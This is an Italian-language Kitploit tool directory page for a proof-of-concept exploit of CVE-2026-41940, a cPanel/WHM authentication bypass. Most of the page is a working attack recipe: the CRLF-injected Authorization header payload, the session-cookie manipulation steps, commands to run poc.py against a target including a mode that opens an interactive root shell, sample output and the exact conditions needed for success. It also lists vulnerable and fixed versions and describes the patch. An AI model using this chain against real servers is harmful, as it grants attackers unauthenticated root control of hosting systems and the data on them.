Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CPANEL-CVE-2026-41940 — Proof-of-concept exploit per CVE-2026-41940, una bypass dell'autenticazione critico in cPanel/WHM tramite iniezione CRLF, che consente accesso root non autenticato e shell interattiva. | Kitploit
Strumenti/GitHubGitHub/0xabdoulaye/cpanel-cve-2026-41940
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHub0xabdoulaye/cpanel-cve-2026-41940

CPANEL-CVE-2026-41940

Proof-of-concept exploit per CVE-2026-41940, una bypass dell'autenticazione critico in cPanel/WHM tramite iniezione CRLF, che consente accesso root non autenticato e shell interattiva.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
213 mesi faNon ancora revisionato

CVE-2026-41940 — cPanel/WHM Bypass dell'Autenticazione

Autore: SilySec
Ricerca originale: Sina Kheirkhah (@SinSinology) / watchTowr Labs
Gravità: Critica (CVSS 9.8)
Tipo: Iniezione CRLF → Bypass dell'autenticazione → Shell root


Descrizione

CVE-2026-41940 è una vulnerabilità critica in cPanel/WHM che consente a un attaccante non autenticato di ottenere accesso root completo tramite un'iniezione CRLF nel gestore di autenticazione Basic di cpsrvd.

La falla combina tre debolezze:

  1. Iniezione CRLF non filtrata — la funzione saveSession() in Cpanel/Session.pm non sanifica i caratteri \r\n prima della scrittura su disco quando la chiave <ob> è assente dal cookie.
  2. Encoder disattivato — senza il segmento <obHEX> nel cookie di sessione, l'encoder per sessione non si attiva, lasciando i byte CRLF scritti in chiaro nel file di sessione.
  3. Ricarica della cache — Cpanel::Session::Modify::save() rilegge il file grezzo e promuove le chiavi CRLF iniettate nella cache JSON, rendendo la sessione pienamente autenticata.

Versioni interessate


Catena di sfruttamento

root@kitploit:~
POST /login/?login_only=1          [password errata]
  └─► cookie: whostmgrsession=:ID,<obHEX>

Rimuovere ,<obHEX>  →  :ID          [disattiva l'encoder]

GET / + Cookie: :ID
      + Authorization: Basic root:x\r\nhasroot=1\r\n...
  └─► cpsrvd scrive i byte CRLF grezzi nel file di sessione

GET /scripts2/listaccts + Cookie: :ID   [senza token di sicurezza]
  └─► do_token_denied() → Cpanel::Session::Modify::save()
  └─► cache JSON ricostruita con hasroot=1, tfa_verified=1

→ Sessione autenticata come root

Utilizzo

Prerequisiti

root@kitploit:~
pip install requests
# Per la modalità --terminal (opzionale):
pip install paramiko

Verifica della vulnerabilità

root@kitploit:~
python3 poc.py --target https://TARGET:2087

Ottenere una shell root interattiva

root@kitploit:~
python3 poc.py --target https://TARGET:2087 --terminal

Forzare l'hostname canonico

root@kitploit:~
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.esempio.com

Esempio di output

root@kitploit:~
[*] target   : https://1.2.3.4:2087
[*] canonical: cpanel.esempio.com

[1/4] minting preauth session ...
       session  = :AbCdEfGh...,0123456789abcdef
       stripped = :AbCdEfGh...

[2/4] injecting CRLF payload ...
       307 → leaked token = /cpsess1234567890

[3/4] triggering cache propagation ...
       do_token_denied → Cpanel::Session::Modify::save() fired

[4/4] verifying root access ...

  ✔  AUTH BYPASS CONFIRMED
     cPanel version : 11.136.0.5
     cookie         : whostmgrsession=%3AAbCdEfGh...
     WHM URL        : https://1.2.3.4:2087/cpsess1234567890/

Punti tecnici importanti

  • L'hostname canonico deve essere usato nell'header Host (non l'IP) — cpsrvd gestisce le sessioni in modo diverso in base all'hostname
  • Il timestamp nel payload deve essere 9999999999 (fisso, futuro lontano) — un timestamp corrente fallisce
  • L'ordine delle chiavi nel payload iniettato è importante: successful_internal_auth_with_timestamp deve venire per primo

Patch

La patch sposta la chiamata a filter_sessiondata() all'interno di saveSession() e aggiunge una codifica condizionale quando la chiave <ob> è assente, impedendo qualsiasi scrittura in chiaro.

Aggiornare cPanel/WHM immediatamente alle versioni corrette elencate sopra.


Avvertenza

Questo strumento è fornito esclusivamente a scopo di ricerca e test interno. Qualsiasi utilizzo su sistemi senza autorizzazione esplicita è illegale. SilySec declina ogni responsabilità in caso di uso improprio.

Scarica lo strumento
RamoUltima versione vulnerabileVersione corretta
110.0.x11.110.0.9611.110.0.97
118.0.x11.118.0.6211.118.0.63
126.0.x11.126.0.5311.126.0.54
132.0.x11.132.0.2811.132.0.29
134.0.x11.134.0.1911.134.0.20
136.0.x11.136.0.511.136.0.6